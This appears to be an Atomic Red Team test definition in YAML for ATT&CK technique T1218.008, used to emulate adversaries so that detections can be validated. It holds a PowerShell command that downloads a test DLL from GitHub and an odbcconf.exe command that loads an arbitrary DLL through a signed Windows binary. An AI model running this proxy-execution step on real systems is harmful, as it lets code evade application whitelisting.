attack_technique: T1218.008
display_name: 'Signed Binary Proxy Execution: Odbcconf'
atomic_tests:
- name: Odbcconf.exe - Execute Arbitrary DLL
  auto_generated_guid: 2430498b-06c0-4b92-a448-8ad263c388e2
  description: |
    Execute arbitrary DLL file stored locally.
  supported_platforms:
  - windows
  input_arguments:
    dll_payload:
      description: DLL to execute
      type: Path
      default: PathToAtomicsFolder\T1218.008\src\Win32\T1218-2.dll
  dependency_executor_name: powershell
  dependencies:
  - description: |
      T1218-2.dll must exist on disk at specified location (#{dll_payload})
    prereq_command: |
      if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
  executor:
    command: |
      odbcconf.exe /S /A {REGSVR "#{dll_payload}"}
    name: command_prompt